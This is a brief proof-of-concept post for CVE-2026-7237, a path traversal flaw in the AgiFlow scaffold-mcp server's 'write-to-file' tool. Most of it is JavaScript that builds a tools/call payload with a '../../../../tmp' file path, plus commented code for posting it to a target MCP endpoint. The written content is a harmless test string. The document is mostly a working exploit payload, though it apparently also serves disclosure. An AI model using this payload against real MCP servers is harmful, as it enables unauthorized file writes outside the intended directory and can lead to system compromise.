CVE-2026-7237 AgiFlow scaffold-mcp路径遍历漏洞

// PoC Concept for CVE-2026-7237 // Target: AgiFlow scaffold-mcp <= 1.0.27 // The vulnerability lies in the 'write-to-file' tool. // By manipulating the 'file_path' argument, an attacker can traverse directories. const maliciousPayload = { "method": "tools/call", "params": { "name": "write-to-file", "arguments": { // Using path traversal sequences to write outside the intended directory "file_path": "../../../../tmp/poc_exploit.txt", "content": "CVE-2026-7237 Exploit Test Content" } } }; // An attacker would send this JSON payload to the vulnerable MCP server endpoint. // Example (pseudo-code): // fetch('http://vulnerable-target:port/mcp', { // method: 'POST', // headers: { 'Content-Type': 'application/json' }, // body: JSON.stringify(maliciousPayload) // });